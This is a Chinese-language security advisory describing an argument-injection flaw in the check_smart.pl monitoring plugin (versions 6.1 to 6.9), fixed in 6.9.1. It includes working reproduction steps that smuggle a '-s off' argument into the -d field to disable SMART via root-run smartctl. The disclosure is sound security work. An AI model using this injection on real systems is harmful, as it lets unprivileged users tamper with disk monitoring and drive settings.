目录

引言

check_smart.pl 是一个监控硬盘和固态硬盘 SMART 属性值的插件,基于 smartmontools。它旨在集成到系统监控软件中,例如 Nagios、Icinga、Shinken 或 Naemon。

在对 openSUSE 中的自定义脚本进行例行审计时,发现了一个漏洞check_smart.pl 从 6.1 版本到 6.9 版本未能充分验证其输入,允许任何未授权的本地用户修改 SMART 设置、完全禁用 SMART 监控、关闭驱动器或通过禁用其读取缓存来降低驱动器的性能。该漏洞已在 6.9.1 版本发布时得到修复。

详情

check_smart.pl 需要以 root 权限运行才能执行 smartctl。这通过 `/etc/sudoers` 中的一个条目来实现,该条目允许较低权限的用户(例如监控系统运行的用户)执行它。传递给 smartctl 的用户输入得到了充分验证,除了一个微小的疏忽。

参数 -d 的验证方式如下:

if (-b $opt_dl || -c $opt_dl || $opt_dl =~ m/\/dev\/bus\/\d/) {
  # OK
} else {
  # NOT OK
}

稍后,此参数将被原样传递给 smartctl。

my $full_command = "$smart_command -d $interface -Hi $device"

简而言之,脚本将接受:

  • 块设备
  • 字符设备
  • 任何匹配正则表达式 `/dev/bus/\d` 的路径

关键在于,即使 `/dev/bus/\d` 只是任何目录的子字符串,此正则表达式也会匹配,例如 `/tmp/dev/bus/1/sda`。

这可以被利用来向 smartctl 传递任意参数。

重现步骤

su -l -s /bin/bash nagios

mkdir -p /tmp/dev/bus/1/
ln -s /dev/sda /tmp/dev/bus/1/
ls -l /tmp/dev/bus/1/sda

/usr/lib/nagios/plugins/check_smart --debug -i auto -d "/tmp/dev/bus/1/sda -s off"
SMART Disabled.

上游修复

上游(Claudio Kuenzler)响应非常迅速,并迅速发布了 6.9.1 版本来修复该问题。

参考文献